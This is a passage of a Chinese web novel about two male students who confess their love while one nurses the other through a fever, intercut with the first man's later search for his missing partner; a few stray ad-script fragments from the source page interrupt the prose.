睁开眼睛的时候,就看到有一块毛巾正要往自己脑袋上放,伸过来的纤细胳膊小心翼翼,毛巾被叠成了一个长方形,正要落到额头上,陈艾卅开了口。 “童宽?”嗓子破得几乎听不清。 “卅哥,你醒了?”童宽的声音很轻,问得小心翼翼。 “嗯……” “39度,吓死我了。” “没事……” “现在感觉怎么样?我去校医务室配了退烧药,先吃点东西再吃药?” 陈艾卅迷迷糊糊的,也看不清面前的人,就觉得自己的右耳边有个声音一直在和自己说话,清清脆脆的声音,说得是什么不太真切,但担心的语调他倒是记得牢,他伸手到床外轻轻拍了拍童宽,像是安抚似的,告诉他自己没事。 还是没力气,都睁不开眼,陈艾卅迷糊着又睡了过去。 这一觉他没有再做梦,而是触感一点点回到了自己的身体里,仿佛有一股清泉水慢慢涌进了自己的身体里,思绪也逐渐清明,他甚至闻到了一股菜香味。 陈艾卅醒了,转头就看到了在旁边的童宽。 他站在梯子上,应该是第三格,上半身都在床铺上,左手撑在陈艾卅的床头,右手里拿了个湿润的棉球,一下一下地擦着陈艾卅的右手心,擦几下,又从胳膊肘的内弯侧往手心的方向擦,擦过的地方就会起上一股凉意,直到有些刺鼻的味道钻进陈艾卅的鼻子后,他才知道这是酒精棉球。 童宽的眼睛看着自己的手擦过的方向,并不知道陈艾卅醒了,他伸手好像要拿过陈艾卅的另一只手到身前,陈艾卅马上又把眼睛闭上了。童宽小心翼翼地把自己的手掌张开,然后又从床铺边上的一个小罐子里取了个酒精棉球,想要擦拭陈艾卅靠内的手,可好像因为角度的问题,不如另一只手擦得完全。 宿舍里没开空调,童宽把移门也关了,陈艾卅看到童宽的额角滴下了一滴汗,心里一阵酸软。 他到底还是开了口,“童宽?” “卅哥?”童宽立刻停住了动作,直起了身,又往下退了两格,只露了个脑袋在床边,轻声细语地,“感觉怎么样?” “好多了,”陈艾卅慢慢抬起手用手背抚去了童宽额角的汗,“没事的,发烧而已。” “饿不饿?吃点东西?”童宽下意识抓住了陈艾卅的手臂,“还是有点烫。” 陈艾卅没理会,直接问了句,“现在几点了?” “下午2点多了。”童宽把他的手放开了,收拾在放在床铺边上的酒精棉和纸巾,接着就下了楼梯,把那些东西放回了校医务室开的药的袋子里,“卅哥粥温着呢,喝点吧?” 可能是因为发烧,这一天过得有点快,对时间有着别样的执着。“你什么时候回来的?” “刚回来不久,一点多。” 陈艾卅叹了口气,虽然退了些,但嗓子还是哑的厉害,“今天 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你要去勤工俭学吧?怎么还在这里?” 见童宽不说话,又搭了些生病时的脆弱和矫情,陈艾卅又补了句,“你什么时候能跟我说实话,我想听实话。” 童宽的声音又弱了下去,带了些歉意,“十点多看到就回来了。” “又去医务室配了退烧药。” “你……十一点多的时候醒了一次。” 过了几秒又挤了一句出来,“中午12点多去食堂买的菜粥。” “然后就到现在。” “勤工俭学我请林琦帮我顶了。” 童宽的声音更小了,“都是实话。” 像想起来什么似得,他又匆忙快速地说了句,“吓死我了,卅哥。这句也是实话。” 陈艾卅感觉自己好像欺负了一个小男孩,又好气又好笑,“你明明在帮我,为什么不肯说实话?”扯开了嗓子多说了几句话的时候,陈艾卅觉得干哑稍微好受了些。 童宽挠了挠头,仿佛不知道要怎么回答这个问题。 “怕我赖上你啊?”陈艾卅的痞性露了些出来。 “没有没有!” “那为什么不说?” “卅哥,你要不,”童宽语句断得有些不自然,“先喝点粥?买了好久也温了好久了。” 见童宽调转了话头,陈艾卅也就作罢没继续问下去,照这个节奏,他也不知道自己会问出什么话来。 “好,你吃饭了吗?” “吃了的,也喝的粥。” 陈艾卅点了点头,起身的时候才发现自己是裸着的,全身上下就穿了条内裤,又看向了童宽,“你帮我脱的衣服?” “是、是……你浑身都是汗,衣服都湿透了。” 躺着可不好脱,陈艾卅心里想,童宽应该费了大劲了。 “那我就这么下来?”陈艾卅精神头好些了,也起了些逗逗他的心思,“还是你帮我柜子里拿衣服裤子?” “我……我帮你拿。” 在床铺上穿衣服还是有些不方便,两人平时起床的时间不一样,其实看不太到互相换洗的时候,但这会儿陈艾卅全身空荡荡的,昨晚又和童宽做了那事,现在人说话都不利索呢,怎么看都不适合直接下来再穿。 好容易裤子都穿平整了,陈艾卅摸着楼梯就下来了,刚刚的菜粥香味就更浓郁了些,从早上到现在什么都没吃,这会儿才感觉到饿。 下床的时候在想宿舍里也不能有微波炉,童宽是怎么温粥的呢,坐到座位上的时候,才看明白。 学校食堂的外带菜粥会在外卖盒子里放一个可供食品使用的薄薄的塑料袋,菜粥盛在塑料袋里,童宽把塑料袋扎了起来,连带着外面的那层塑料碗,一起放在了一个脸盆里,脸盆里倒着一些热水,淹过了大半个碗,水还冒着热气…… 陈艾卅喉结上下滚动了一下。 “两个小时,换了几次热水?” “……不知道,”童宽顿了顿,“实话。” “就为了让我吃一口热乎的?” 童宽点了点头。 “外卖也能买到粥。” “学校的菜粥煮的烂,不咸,对恢复好。” 帮自己脱衣服、凉毛巾盖额头、酒精棉擦手心降温、勤工俭学都不去了就守着自己,还两个小时里换了记不清次数的热水。 陈艾卅沉默良久,看向了童宽,目光深邃。 “你喜欢的人,”陈艾卅皱了皱眉,清了清嗓子,直接问了出来,“是我吗?” 几乎没有犹豫,童宽就回答了,“不是。” 陈艾卅没说话,也没挪开眼睛。 童宽垂在两边的手都攥紧了,才又说:“这句话是假的。” 他抬头向着陈艾卅又郑重说了一遍,“我喜欢你的,卅哥。” 22. 错觉 “但你不要担心,我会藏好的。”童宽头又低了下去。 陈艾卅没说话,表情也没什么变化,还是直勾勾地盯着童宽看,童宽看上去有些不知所措,甚至用无地自容来形容也不为过,整张脸涨得通红,手指头都快拧在一起了。 “那卅哥你把粥喝了,我,呃,我出去了。” 童宽转过身,就要把笔记本放进书包里,陈艾卅迈了两步,手握住了他的胳膊,手心的触感很凉,陈艾卅甚至摸出了童宽出了一些细密的汗,有些滑腻。 但握住了,陈艾卅却也没说什么。 感到童宽有一点点挣脱的意思的时候,陈艾卅却握得更紧了,他看到自己的手指已经有些嵌入了童宽胳膊上的肉里,也感受到了他胳膊下骨骼,直到童宽微微皱眉,应该是感到疼了,陈艾卅才松手。 直到童宽的手摸上了门把手要开门时,陈艾卅终于说了一句话。 “陪我把这碗粥喝了吧,”陈艾卅的声音还是有些哑,他已经感知不到自己是不是饿了,但这碗粥他必须喝,“喝完了你再走。” 于是童宽又回到了自己的位置上,把书包放在桌子上,这次他没有搬着椅子坐到陈艾卅身边,只是在自己的椅子上跨坐着,抱着椅背看着他,微微皱着眉,眼睛里的光没有了,像一只丢了骨头的小土狗,不敢贴过来,也不敢离太远。 贴得太近怕招人烦,太远有怕人真的不要他。 陈艾卅把塑料碗从热水里拿出来,就这么直接放在桌子上,带出了碗底的水,就这么淌了出来,他没有抽出纸巾去擦,只是把脸盆往旁边挪了挪,打开了塑料袋拿了塑料勺挖着吃,上层的没有被热水温透,不那么热,越往下挖,越觉得粥暖。只是放了青菜和肉糜的粥,炖得菜叶子都有些发黄了,但烧还没退,陈艾卅吃不出味道来,只觉得嘴里苦涩。 他背对着童宽,心里跟这碗粥一样,明明知道不问出口就能装傻,但那种情况,自己怎么能当个瞎子?! 可现在好了,不用做瞎子了,变成了个哑巴。 陈艾卅从来没觉得童宽到底有什么弱势,他所经历的一切都让他这个人无比坚韧、执着、强大,可他所承受的一切都让他不得不摆出弱小的姿态,他不敢想象换作其他任何一个人,在拥有他能力的同时能够保持隐忍、保持谦卑。童宽太能忍了,他的喜欢陈艾卅早就感觉到,只是每次品出些意思就强迫自己往另外的方面去想,他自己清楚在逃避什么,这件事只要不挑明,他就可以躲开世俗的很多质疑,他就可以不用分担童宽身上的苦难,帮忙是一回事,分担是另一回事。可这些日子以来,到底是心软帮忙,还是真想分担,陈艾卅自己也搞不清楚了。 很快,粥见底了。 陈艾卅把塑料袋又扎好,抽了张纸巾擦了擦,深深呼吸了一口。 谁都没说话,沉默在屋子里膨胀了足足五分钟。 “卅哥,我把垃圾带出去。”童宽起身走到陈艾卅的边上,想要拿过塑料碗。 “童宽,”陈艾卅转过头看向他,眼眸里一丝遮掩都没有,“我没有你想得那么好。” 童宽看着他,表情上还是小心翼翼的。 陈艾卅继续说着,“我发着烧可能脑子也糊涂,有些不该问的话就这么问出来了,你别介意。” 听了这话,童宽木木地点了点头,又摇了摇头,说出话的声音很轻,“不介意的。” “昨天晚上是我冲动了,”陈艾卅笑得不太自然,“可能工作有着落了太高兴了,有点儿找不着北。” 童宽微微张开了唇,好像想说些什么,话又被陈艾卅截断了。 “你如果觉得不舒服的话,就当我没问过,”陈艾卅的头转了回去,对着书架问了一句,“行吗?” 又是一阵沉默。 “卅哥,我……”这句话仿佛又千斤重,似乎在胸口盘旋了数十次才继续,“是我莽撞了,我会处理好的。” “处理什么?” “什么都……”童宽喘了一口气,“会处理好的。” 陈艾卅没由来的有一股烦躁,也不知道是不是又烧上来了,他觉得自己这会儿哪哪都不舒服,手心烫得几乎要受不了,他把手心直接放到了桌上还洇着水的地方,企图用凉水来给自己降温。 “什么时候回来?” “嗯?”童宽不解。 “你不是要出去么,”陈艾卅问,“什么时候回来?” “……都可以。” “童宽!”陈艾卅直接火都上来了,高声喊了一句。 童宽看过来的眼神又带了些请求,又来了,这个眼神,陈艾卅心里想,就他妈对这个眼神窝火,别问、别提、别说了,他会处理好的,伤在那里就会自己愈合的,别人强加他的都无所谓,自己的情绪都没关系,反正他是打不死的小强,他怎么都会好的,所以别管他、别理他、别在意他。 “你对着我,是不是什么都可以,我说什么,我做什么你都接受?”陈艾卅手揉着额头,真的又感觉烧起来了,晕得厉害,可话里一点也没相让的意思,看着童宽的眼神火辣。 童宽还是点了点头,他好像没感觉到陈艾卅的怒气一样,“我真的都可以的卅哥。” “我现在问你借二十万,你是不是也可以立马给我?!” “……还差一点,”童宽皱着眉,“下个月就有了,你着急吗?” “你他妈的,能气死我。” 陈艾卅都气笑了,笑着笑着胃里就有些翻江倒海,感觉有些不对劲,捂着嘴就往厕所里跑过去,一顿吐,把刚吃下去的粥全部都吐出来了不说,呕到后面还吐了些黄疸,童宽就跟在陈艾卅后边着急,一会儿又出去拿了杯温水,一会儿又去拿了纸巾,等陈艾卅终于吐完了,看着急得不行的人,笑着摇了摇头,一副拿他没办法的样子。 两个人又回到了座位上,就这么干耗着对视,谁也没动作。 “别出去了。”陈艾卅到底泄了气,“陪陪我吧。” “好。” “你能不能对我有点要求?” “你已经对我很好了。” “对你好所以就喜欢我?” “嗯。” “那要是哪天我对你不好了呢?就不喜欢了?” 童宽抿着嘴不说话。 “感激不是喜欢,”陈艾卅终于捋清了自己想说什么。“你不需要用喜欢来感激我。” 唰的一下,童宽抬起头, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 盯着陈艾卅看了许久。 —— 夜里的高速上,车都开着大灯。司机师傅开着disco曲,节奏感很强,这比火车上要舒服多了,火车上此起彼伏的鼾声,还有枯燥的车轮声,每一个规律的出现都研磨着陈艾卅的神经,一遍遍提醒他过去了多久、童宽已经失踪了多久。 看陈艾卅没睡,司机师傅也和他聊了起来。 司机师傅姓戴,在这个小城市里跑车跑了快二十年了,他说从火车上下来的人无非两种,一种是赶时间的,一种是不赶时间的,一般来说他都喜欢载不赶时间的,即使路程短、车费少,他也不爱被人追着赶着往前跑,陈艾卅问他为什么,司机师傅朝着后视镜对着陈艾卅笑了一声,说赶时间的人都心急,一急就容易出事故,年轻的时候就因为赶时间出过一次事故,他媳妇一边哭一边打他,哭到后面整个人就坐在马路边上也不肯走,稀里哗啦的,好说歹说连拉带拽的才肯跟自己回家。 陈艾卅就问他到底出什么事故了,戴师傅说就是抢了个红灯,旁边路上恰好有辆土方车要右转,视线盲区没看见他,直接撞烂了半边车,车头都到中控着了,差个七八厘米就碾上自己身体了。 “太危险了,嫂子撒泼还是撒得轻了。” 戴师傅嘿嘿一笑,“是啊,现在想想真后怕,那会儿刚结婚没几年呢。哎小伙子,你怎么气着你媳妇了?还让她一个人跑到这么偏的地方来,你说的那个地方一般都没啥人去。” 陈艾卅想了想,“说来话长了。” “你别怪我说话不中听啊,夫妻之间啊,只要还有感情,都没什么大事。”戴师傅又看了陈艾卅一眼,“小伙子诶,你看看你,一脸肠子都悔青了的样,就知道肯定是你做错事了,哎你说说你跟媳妇较什么劲,跟你闹情绪也好、发脾气也好,就是为了让你多关注关注她,反而如果老问你这行不行那行不行的,你就得反思是不是自己给的不够了。” 戴师傅在驾驶座上絮絮叨叨的,陈艾卅的脑袋就别过去了,看着窗外高速路上一盏盏往后退的灯。 是啊,我跟童宽较什么劲,他只有我而已。 不管是恋爱的时候,还是之后同居,陈艾卅觉得自己好像一直是生活的主导方,他要做什么,只要和童宽说一声,他就会答应,而每当童宽问他意见的时候,他就会凭借自己的主观理解和经验给给出一些建议,即使有些经验并不是实践而来,但即使这些经验是陈艾卅假想的、想象的,童宽还是会认真地从陈艾卅的结论里去可靠的原因和理论,并且深信不疑。 他以前觉得,童宽是真的需要他给一些建议。 今天听戴师傅这么一说,陈艾卅又多了一层愧疚。 是啊,在没有遇见陈艾卅之前,童宽一个人过来了那么久,哪个决定不是自己做的。 陈艾卅幡然醒悟,童宽要的,不过是更多、更多陈艾卅的爱而已。 童宽害怕的,也是被拿起来,又会被放下的结果而已。 七年来,童宽从来没有变,是自己世故了、贪婪了。 陈艾卅弄不明白,是岁月还是习惯,把自己的眼、自己的心给弄糊了。 他现在只想童宽尽快回来。回到他身边。 23. 随心 戴师傅和陈艾卅打了个招呼,说自己跑这一趟要和在家媳妇儿交代一下,估计一时半会回不去,说是晚回去了怕被媳妇念叨,让他别介意自己在车上打电话,陈艾卅点了点头说应该的。 戴师傅开的是免提,响了好几声电话那头才接起来,上来就是一个大嗓门,问他死哪儿去了,这大晚上的还有谁要车,是不是有出去喝酒鬼混了,让他赶紧回去。戴师傅先是凶了他婆娘两句,说自己正开着免提呢就劈头盖脸的骂,自己的脸往哪儿搁,剩下的就都是讨好了,又说自己接了个大单估计得晚点回来,又关照晚上凉窗户要关好了睡,最后还舔着脸问他媳妇明天早上能不能给他烙个饼,再炒个土豆丝,说想吃媳妇亲手做的土豆丝卷饼很久了,这几天也没挣着什么钱也不好意思提要求。 电话那头的声音一下就软了下来,再三关照开车小心,又说什么钱不钱的就这么回事,健康平安比什么都重要,让他不要整天都想着挣大钱,该上厕所还是得上厕所,憋尿小心把自己本来就不太好使的尿包给炸了。戴师傅听着就觉得有点儿丢人,从后视镜那看了眼陈艾卅,又和媳妇重复了一遍自己正开免提呢,就是来打个招呼不多说了。 挂了电话后,戴师傅嘿嘿笑着,对着后视镜和陈艾卅说:“我这婆娘胆子小得很,又啰嗦,见笑了。” 陈艾卅也扯了个笑,“嫂子话糙理不糙,的确没什么比健康平安更重要的了。” 戴师傅哎了一声,“没钱也不行哇,没钱寸步难行。不过瞧你的模样,应该也条件不错吧?” 陈艾卅摆了摆手,“不如你舒坦自由,都拿命换的,说不上来不错。” “小伙子,找到媳妇后换个工作吧,多陪陪媳妇,我家的也老念叨我回家时间短。” “我家的那个工作起来比我投入,”陈艾卅说着说着就笑了,“跟铁人一样,想不起来吃饭,想不起来睡觉。” “哟,看来是个能人啊。” “太能了,”陈艾卅的目光又回到了车窗外,“好像天底下就没他干不成的事。” “压力大吧,”戴师傅一点也没觉得越界,又继续说道起了陈艾卅,“压力大你还闹别扭。” 陈艾卅叹了口气,“是啊,压力大我还和他闹别扭……” “放心吧,”戴师傅的语气又转成了那种过来人的口吻,“有事业心的人做啥都不会轻易放弃的,找回来了就好了,听我一句劝,到时候见面了就哄哄,别讲大道理,啊?” “哎,好,听您的师傅。” 戴师傅可能不知道,但陈艾卅清楚,他的这一两句话,宽慰了陈艾卅不少,给了一直埋头在黑暗里的陈艾卅一些光明、一些希望,他说童宽不会轻易放弃的,陈艾卅也始终相信,童宽绝不是会给自己找不痛快的人,他一定也在等待救援,等待希望。 想到这里,陈艾卅几乎就想和戴师傅说能不能再快点儿,可看到仪表盘上的速度已经上了130,的确不好再催了,也只好又保持住了沉默。 “小伙子,你睡会儿吧,我累的话到服务区了就喊你。” “别太焦心,你人都到这了,肯定能找着的。” 陈艾卅点了点头,就把眼睛闭上了。 —— “卅哥,”这次是童宽先开的口,“你会对我不好吗?” 陈艾卅被问得有点懵,回答得倒是干脆,“不会吧。” “我分得清感激和喜欢的。” 童宽第一次这么直接地说出自己的想法,陈艾卅还有些不习惯,不需要他去追问,就能得到童宽的坦白。 “你对我好,我很感激。” “不是谁对我好,我都会喜欢的。” “我喜欢的是你,不是你对我的好。” “你对我不好,我应该也会喜欢你。” “我知道你喜欢女生。” “但我控制不住自己。” “我想喜欢你,卅哥。” “即使得不到回应,也想喜欢你。” 说这些话的时候,童宽始终看着陈艾卅,连眼睛几乎都没有眨过。 看似童宽说得轻巧,可字字句句砸到陈艾卅的耳朵里都是雷,一声炸过一声,几乎要把陈艾卅的耳膜击碎,童宽在表白吗,不,这破釜沉舟的架势一点都不像,他难道只是想告诉我,他喜欢我?他就真的想和老实巴交的中华田园犬一样,叼着自己最喜欢的一根骨头,到自己面前,然后放下,对着自己摇摇尾巴,不求回报地走开?即使再怎么想被摸头,也不会主动凑上来,焦急得前腿儿在地上来回交替地点着地,也不会把脑袋往自己手里钻。 他突然想到了自己看过的一部电影里的台词,“赤道一直有雪,小狗永远爱你。” 小土狗战战兢兢地站在自己面前,瑟瑟发着抖,深藏体内的灵魂却在表达着自己的喜欢,甚至在自己的喜欢被误会的时候勇敢地、如背水一战一般地,把自己的心里话全都倒了出来。 陈艾卅懵了,他不知道该怎么回应。 “卅哥,我可以喜欢你吗?” 童宽的小狗眼让自己没法拒绝,可真的一句话都说不出来。 我没想好,我不知道,我还想要些时间。 童宽的头低了下去,也转过了身,留了个背影给陈艾卅。 声音传过来的时候闷闷的,“对不起卅哥,你还发着烧呢,我不该问的。” 应该是又烧起来了,陈艾卅的眼眶都觉得发热,他看着桌子上还没扔的塑料碗、脸盆、还有已经凉透了的水,目光又看到了在旁边的学校医务室的药袋子,才反应过来自己药都没吃呢,陈艾卅拿过了自己的水杯,这杯水是刚刚自己吐的时候童宽倒的,好像有些凉了,可他不想去添新的热水,就这么吃吧。 一颗退烧药,顺了一口水进去。 他起身拿过了脸盆,放回了宿舍的脸盆架那边,又会过来拿起了塑料碗,想着开门扔出去,手刚刚碰到门把手的时候,童宽叫了自己一声。 “卅哥,你要去哪?”声音里的慌乱不言而喻。 陈艾卅晃了晃手里的垃圾,“我扔个垃圾就。” “……哦。” 关上宿舍门的时候,陈艾卅才感觉到自己的心脏怦怦乱跳,不知道到底是因为发烧烧的,还是因为别的什么。他走向走廊尽头垃圾桶的时候,把童宽和自己说的话又回忆了一遍,不禁感慨,这小子,看起来弱弱的,骨子里还是倔,还逻辑清晰,他分得清什么是感激,什么是喜欢。 童宽喜欢他,童宽也承认了,还告诉了他。 无论是本科还是研究生时期,和陈艾卅告白的人络绎不绝,他见过太多人告白的姿态,有的女生紧张得连话都说不出来,有的女生告白的时候自然得体,有的女生还会借着猜谜告白,花样繁多,他也知道,有些女生只是为了来告诉自己一声,她喜欢他,虽然期待恋爱,但也不求回应。陈艾卅每每都会耐心地听别人说完,接着非常诚挚地和人说抱歉,他永远有风度。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 可孤注一掷的没有,背水一战的没有,告诉自己控制不住的没有。 陈艾卅对人提要求的没有,大声说话的没有,失控的也没有。 我是怎么了。 陈艾卅站在走廊尽头很久,直到有一阵风吹过来,冷得他直打摆子。 回过头的时候,看到童宽站在宿舍门口。 走廊的尽头有窗户,陈艾卅逆着光,光打在了童宽的身上。 干净、清爽。 他有跑过去想吻他的冲动,就像昨天晚上一样。 如果说,陈艾卅在校期间,没期待过爱情,那是假的。 他以前不知道,是时机不对,还是人不对,他没有在告白的女生里看到爱情掠过的浮影。 和斯昀那段,好像也不能称为恋爱,两个人都不走心,只是恰好热闹一段。 可他在童宽眼睛里看到了。 陈艾卅无法确认,是先从童宽眼睛里看到的,还是自己看过去的眼睛里一直都有。 也许是初秋的风,也许是教育超市门口的梧桐,也许是有着馥郁香气的薄荷糖,也许是早早的那款莫名其妙买的书包,也许是那三瓶酒,也许是那晚洒下来的月色。 也许是那一夜他在仓库门口听到深处发来的嘤咛和喘息发芽了。 也许是看到童宽与他人坐在食堂里并排而坐的占有欲发酵了。 也许是在教育超市里童宽向自己走来时候的笑在心里发痒了。 也许是昨夜两个人一次又一次的亲吻和胡乱摸索让嗓子发哑了。 也许是今天童宽无微不至的照顾与直白地陈述让脑子发愣了。 陈艾卅明白了。 他究竟为什么慌乱。 是他自发先喜欢童宽的,甚至和童宽没什么关系。 慌的是亲耳从童宽嘴里先听到,他喜欢自己。 乱的是他曾经以为不可能不会的,他喜欢同样身为男人的童宽。 向来被告白的陈艾卅,把自己心里的喜欢掩藏成了秘密。 看似在情场游刃有余的人,竟然无措到不知道该如何表达。 终于找到了答案的陈艾卅,在逆光里一步步走向童宽。 他拉过了童宽的手腕,进了宿舍,又把门关上了。 人还烧着呢,手心滚烫,但陈艾卅顾不上了。 他另一只手也抓过了童宽的另一个手腕。 “对不起。”陈艾卅先说了一句。 见童宽作势要说话,陈艾卅又补了一句,“你听我说完。” “这句话是我欠你的,一个是为那次拥抱,一个是为昨天的冲动。” “你藏得很好,藏得真假难辨,藏得让我一丝为难都没有。” “你当然可以喜欢我,这是你的自由。” 童宽咬紧了牙关,整个人都绷紧了。 “是我不好,没说清楚前,就做了那些事情。” “不知道现在说来不来得及。” 陈艾卅清了清嗓子,喉结上下滚动了一下。 “童宽,我喜欢你。” “不是同情、不是可怜、不是心疼。” “就像你的感激不是喜欢一样。” “也没烧糊涂。” “我认真的,在说喜欢你。” 童宽微微张开了嘴,满脸不可思议。 “我可以喜欢你吗?”陈艾卅问他。 童宽木木地点了点头,“……当然,可以。” 24. 惊鹿 两个人说完喜欢后,又各自不说话了,都转了回去,都留了个背影给对方。 谁也没想之后要怎么样,陈艾卅不知道,童宽更不知道,就这么干耗着。 直到童宽的手机响了起来,陈艾卅回过头去看他,童宽拿起手机指了指,陈艾卅就点了点头。 “喂?” “嗯,在宿舍,快好了,还有一点。” “来得及,域名备案的事情还是要麻烦你了。” “我……”童宽说了一半,又看了陈艾卅一眼,“我有点事,不出去了。” “嗯,晚点有什么要更新的你跟我说。” 童宽把电话挂了,陈艾卅还是看着他。 “我没事,你要出去就出去。”陈艾卅说。 “不出去。”童宽回答得果断。 “刚刚是……那个徐熠?” 童宽闻言抬起了头,“卅哥你记得他?” 能不记得么,你俩凑在一块儿就在屏幕后边笑得乐呵呵的样子。 陈艾卅心里这么念叨着,表面却风轻云淡的,点了点头,“嗯,那会儿在食堂看见过你俩在一起。” “我俩没在一起。”童宽突然说,可说完了,头却低了下去,耳朵也红了。 陈艾卅觉得现在的童宽有些可爱,趁着自己发着烧,也想胡搅蛮缠上一回,“明明在一起啊,脑袋都凑一块儿了。” “没有,就聊项目……我没和他在一起,”童宽抬起头来,声音还大了些,可看到陈艾卅一脸笑的时候,才发现自己被逗了,声音又小了下去,“卅哥,你怎么胡乱开玩笑啊。” 最后一句声音很轻,可陈艾卅听见了。 “那你要不要和我在一起?” 陈艾卅问得也很轻,声音像是从林中的薄雾中传过来,又怕惊到了林中的鹿。 宿舍里的空气仿佛都膨胀了,他们似乎都能听见空气挤压着铁梯,发出了噌噌的声音……脸盆好像也挤在了一块儿,还有、还有床铺和床,好像也贴得更紧了。 四目相对的时候,刚刚快要撑爆整个空间的空气又仿佛突然被抽走了。童宽的嘴唇微微张着,脸上透着惊讶,陈艾卅也有点紧张,忍不住捏紧了手心,他还能感受到发烧的余温在手心里发着烫。 “要。”一个字的回答,简单、果断、没有任何疑问。 陈艾卅的喉结上下滚动了一圈,眼睛也跟着眨了眨,机械式地点了点头,也说了一个字,“好。” 接着两人就不知道怎么的开始忙碌起来了,陈艾卅终于抽了纸巾把桌子上的水擦干净,又用手心摸了摸额头,打开了校医务室的塑料袋里看看还有没有什么药没吃,打开了手机翻腾着,又关上了手机,在想要不要开电脑。对面的童宽也是,不知道怎么就把笔记本打开了,手里敲着键盘,可哒哒哒没响几下又拿杯子喝了口水,又焦急地打开了桌上的糖罐子,拿了颗水果糖扒开来往嘴里送…… 终于手里没什么可忙的时候,陈艾卅看向了童宽,虽然只是背影,他也知道童宽慢慢安静了下来。 “抱一下吧?”陈艾卅开了口。 童宽“嗯”了一声,就从位子上站了起来,走到了陈艾卅面前。 他也站了起来,脑袋还差点撞到了头顶上的床架子,童宽噗地一声笑了出来,可又马上止住了。 两个人面面相觑着,陈艾卅从童宽的眼睛里看到了自己,然后慢慢伸出了手,先是碰到了童宽的胳膊,又往前伸了些,曲起了胳膊,慢慢地、慢慢地,把人环住,他这次没把童宽往自己这边拉近,而是自己往前迈了一小步,再缓缓收紧了手臂,紧紧地、紧紧地抱住了他。 “发烧……不知道会不会传染。” 这句话落在童宽耳边的时候,陈艾卅听到他轻轻笑了一声,下一秒也伸了手过来,抱紧了陈艾卅的腰。 “……不会的,卅哥。” 两个人就这么静静地拥抱了几分钟,直到陈艾卅感觉到童宽的额头又出了些汗,才把手松开,对着童宽笑了笑,“本来多少应该要亲你一下的,可我发着烧,下次可以吗?” 童宽看着陈艾卅,就像小土狗看到火腿肠,根本没有选择的余地,直愣愣地点了点头。 陈艾卅的表情又正经了起来,说出来的话直接砸进了童宽的心里,“我喜欢你很久了,童宽,比我意识到喜欢你要久得多。”他喉结上下滚动了一下,咽了口唾沫,“我自己都觉得说得有点晚,往回看几乎都能看见回忆了,可我不是要去弥补过去,”陈艾卅握住了童宽的手,“如果你不介意的话,我们可不可以多想想未来?” 童宽的表情怔住了,惊讶得说不出话来,下意识地问了一句,“什么意思?” “就是我想跟你在一起很久很久。” “很久很久?” “很久很久。” “嗯,”童宽对着陈艾卅笑了,露出了那颗虎牙,重复道,“很久很久。” 两个人对着傻笑了一阵。 陈艾卅的手指了指上铺的床,对童宽说:“我……还是上去睡一会儿,不知道是烧的还是高兴的,有点晕。”看见了童宽露出了担心的表情,陈艾卅又补了一句,“我心里有数,烧已经退下来不少了,也吃了退烧药,不去校医务室,你有什么要忙的就去忙,不用管我,我也喝了粥,不饿,没事的。” “我守着你,”童宽看着陈艾卅,眼神坚定,“卅哥,我守着你。” 陈艾卅揉了揉童宽的脑袋,“好,你守着我,敲键盘也没关系,我不嫌吵。” 接着童宽做出来的动作,陈艾卅直到现在,都记忆犹新。 他两只手握住了陈艾卅的两个手肘,整个人身体往上凑了凑,动作却没有停滞,应该是踮了些脚的,脸涨得通红,闭着眼睛在陈艾卅的左脸上亲了一口,不是那种只是把嘴唇放到面颊上的触碰,而是真的能感受到童宽的两片唇,吸了吸面颊的那种亲吻。 还有吻后的那一句话,像是直接塞了一口蜜,进了陈艾卅的心里。 “卅哥,我有点着急了,想先亲你一口,你别见怪。” 天知道那一刻陈艾卅有多想把他就地正法。 —— 想着想着,陈艾卅就笑了出来,他根本睡不着,黑暗只不过是他隐藏自己的借口而已。陈艾卅没有睁开眼睛,轮胎摩擦地面的声音听得很清楚,戴师傅这会儿也把音乐调到了交通广 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 播,也调小了音量。路上不知道怎么颠了一下,陈艾卅的左脸磕到了车窗下面,像被打了一巴掌一样。如果此刻自己被打几巴掌就能换回童宽平安的消息,他这张左脸不要了也罢。 他又深深叹了口气,手机却响了一声,他迅速拿起来看了一眼,是梁臣发过来的微信。 “学长,林琦睡了,我这会才来联系你抱歉,别太担心。那片林子我们那会都去过,后来你毕业了我也带过两次活动,只要宽总没出保护区,问题应该不大,碰到野兽的概率非常小,也有干净的水源,请相信你自己一定能找到宽总的。” 这一条长长的微信,陈艾卅看到后面鼻子发酸,几乎泪眼模糊。 用手掌揩去掉在屏幕上的眼泪时,梁臣又发了几条来。 “宽总坚毅,也决不会想不开,林琦关心则乱,学长你别放心上,一定能找到宽总的。” “有什么需要帮忙的随时说,我们全力以赴。” “学长你自己也要注意休息,别见到宽总了,你倒下了,宽总该难过了。” 陈艾卅以前没觉得梁臣这么一针见血,他终于明白为什么林琦一开始那么嫌弃他,之后即使他一直做义工做了了很多年,林琦也从来没离开过梁臣,梁臣的情绪太稳定了,总能给予人希望,好像所有的话说出来,陈艾卅只要专注最后一句就好了。 一路过来积攒的担忧也好、惊惧也好、烧心也好,被梁臣的这几条信息挑了个口子,眼泪怎么都停不下来。 戴师傅轻声说了一句,“小伙子,副驾椅背后面有纸巾。” 陈艾卅喘着气儿回答他,“戴师傅,对不住,我实在是……” “想哭就哭吧,哭出来能好些。”戴师傅的烟嗓在夜里成了催泪的调子。 他拿过纸巾,却没有擦眼泪,把脸埋在两个手掌里,大声痛哭。 陈艾卅自从认识童宽开始,对他的印象从来没有断层过,从他请自己喝水的那一天开始,生活里所有的角角落落、分分秒秒,都是童宽的影子。 说喜欢童宽的那一日记忆太过热烈,每次想起来记忆都发烫,他记得在自己面前战战兢兢的童宽,他记得自己也慌乱得像个青春期小男孩,只不过童宽对陈艾卅实在是太好了,已经把一定会接受表白的结局提前透给了他,不至于让他在告白的时候太过无措。 连梁臣都知道,如果自己垮了,童宽的反应会是难过。 陈艾卅从来没有真正想和童宽分开过,和他在一起的第一天,就跟童宽说要在一起很久很久。 